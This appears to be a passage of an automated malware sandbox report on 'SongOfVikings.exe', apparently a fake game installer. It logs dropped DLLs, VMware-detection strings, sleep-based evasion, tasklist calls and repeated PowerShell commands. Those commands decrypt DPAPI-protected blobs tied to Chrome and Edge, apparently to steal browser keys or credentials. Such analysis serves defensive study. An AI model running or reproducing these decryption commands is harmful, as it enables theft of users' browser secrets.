Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\f1a1d769-375b-46b2-ad93-df5ca2abe3a4.tmp.node Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\SongOfVikings\libEGL.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\7z-out\libEGL.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\SongOfVikings\libGLESv2.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\SpiderBanner.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\System.dll Jump to dropped file
Source: C:\Users\user\Desktop\SongOfVikings.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\7z-out\d3dcompiler_47.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5264 Thread sleep count: 3757 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5264 Thread sleep count: 2007 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6824 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6788 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2476 Thread sleep count: 3645 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2476 Thread sleep count: 423 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7396 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7432 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2132 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809 Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809
Source: C:\Users\user\Desktop\SongOfVikings.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File Volume queried: C:\Users\user\AppData\Local\Programs\SongOfVikings FullSizeInformation
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File Volume queried: C:\Users\user\AppData\Local\Programs\SongOfVikings FullSizeInformation
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File Volume queried: C:\Users\user FullSizeInformation
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File Volume queried: C:\Users\user FullSizeInformation
Source: C:\Users\user\Desktop\SongOfVikings.exe Code function: 0_2_004059CC GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 0_2_004059CC
Source: C:\Users\user\Desktop\SongOfVikings.exe Code function: 0_2_004065FD FindFirstFileW,FindClose, 0_2_004065FD
Source: C:\Users\user\Desktop\SongOfVikings.exe Code function: 0_2_00402868 FindFirstFileW, 0_2_00402868
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\SongOfVikings.exe File opened: C:\Users\user Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe File opened: C:\Users\user\AppData\Local Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Programs\SongOfVikings Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Programs Jump to behavior
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: VMware
Source: SongOfVikings.exe, 00000000.00000003.1907195515.00000000054B1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ::$DATAca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}g,K
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: IIAMDARMAppleBroadcomGoogleIntelMesaMicrosoftNVIDIAImagination TechnologiesQualcommSamsung Electronics Co., Ltd.VivanteVMwareVirtIOTestX
Source: SongOfVikings.exe, 00000000.00000003.1839965990.00000000051BD000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmncVMware Screen Codec / VMware Videovp5On2 VP5vp6On2 VP6vp6fOn2 VP6 (Flash version)targaTruevision Targa imageimage/x-targaimage/x-tga
Source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: (IsLinux() && isVMWare) || (IsAndroid() && isNvidia) || (IsAndroid() && GetAndroidSdkLevel() < 27 && IsAdreno5xxOrOlder(functions)) || (IsAndroid() && IsMaliT8xxOrOlder(functions)) || (IsAndroid() && IsMaliG31OrOlder(functions))
Source: SongOfVikings.exe, 00000000.00000003.1839965990.00000000051BD000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMware Screen Codec / VMware Video
Source: C:\Users\user\Desktop\SongOfVikings.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\SongOfVikings.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist" Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist" Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')" Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')" Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe "C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\SongOfVikings" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1924 --field-trial-handle=1932,i,8930845270246626881,144407894186871125,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe "C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\SongOfVikings" --mojo-platform-channel-handle=2440 --field-trial-handle=1932,i,8930845270246626881,144407894186871125,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe "C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\SongOfVikings" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1904 --field-trial-handle=1932,i,8930845270246626881,144407894186871125,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser') Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'currentuser')"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'currentuser')
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'currentuser')"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'currentuser')
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe "c:\users\user\appdata\local\programs\songofvikings\songofvikings.exe" --type=gpu-process --user-data-dir="c:\users\user\appdata\roaming\songofvikings" --gpu-preferences=uaaaaaaaaadgaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaabgaaaaaaaaagaaaaaaaaaaiaaaaaaaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1924 --field-trial-handle=1932,i,8930845270246626881,144407894186871125,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe "c:\users\user\appdata\local\programs\songofvikings\songofvikings.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\songofvikings" --mojo-platform-channel-handle=2440 --field-trial-handle=1932,i,8930845270246626881,144407894186871125,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:8
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe "c:\users\user\appdata\local\programs\songofvikings\songofvikings.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="c:\users\user\appdata\roaming\songofvikings" --gpu-preferences=uaaaaaaaaadoaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaacqaaaaaaaaaaaaaaaaaaaaaaaaabgaaaaaaaaagaaaaaaaaaaiaaaaaaaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1904 --field-trial-handle=1932,i,8930845270246626881,144407894186871125,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'currentuser')" Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'currentuser')" Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe "c:\users\user\appdata\local\programs\songofvikings\songofvikings.exe" --type=gpu-process --user-data-dir="c:\users\user\appdata\roaming\songofvikings" --gpu-preferences=uaaaaaaaaadgaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaabgaaaaaaaaagaaaaaaaaaaiaaaaaaaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1924 --field-trial-handle=1932,i,8930845270246626881,144407894186871125,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2 Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe "c:\users\user\appdata\local\programs\songofvikings\songofvikings.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\songofvikings" --mojo-platform-channel-handle=2440 --field-trial-handle=1932,i,8930845270246626881,144407894186871125,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:8 Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe "c:\users\user\appdata\local\programs\songofvikings\songofvikings.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="c:\users\user\appdata\roaming\songofvikings" --gpu-preferences=uaaaaaaaaadoaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaacqaaaaaaaaaaaaaaaaaaaaaaaaabgaaaaaaaaagaaaaaaaaaaiaaaaaaaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1904 --field-trial-handle=1932,i,8930845270246626881,144407894186871125,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2 Jump to behavior
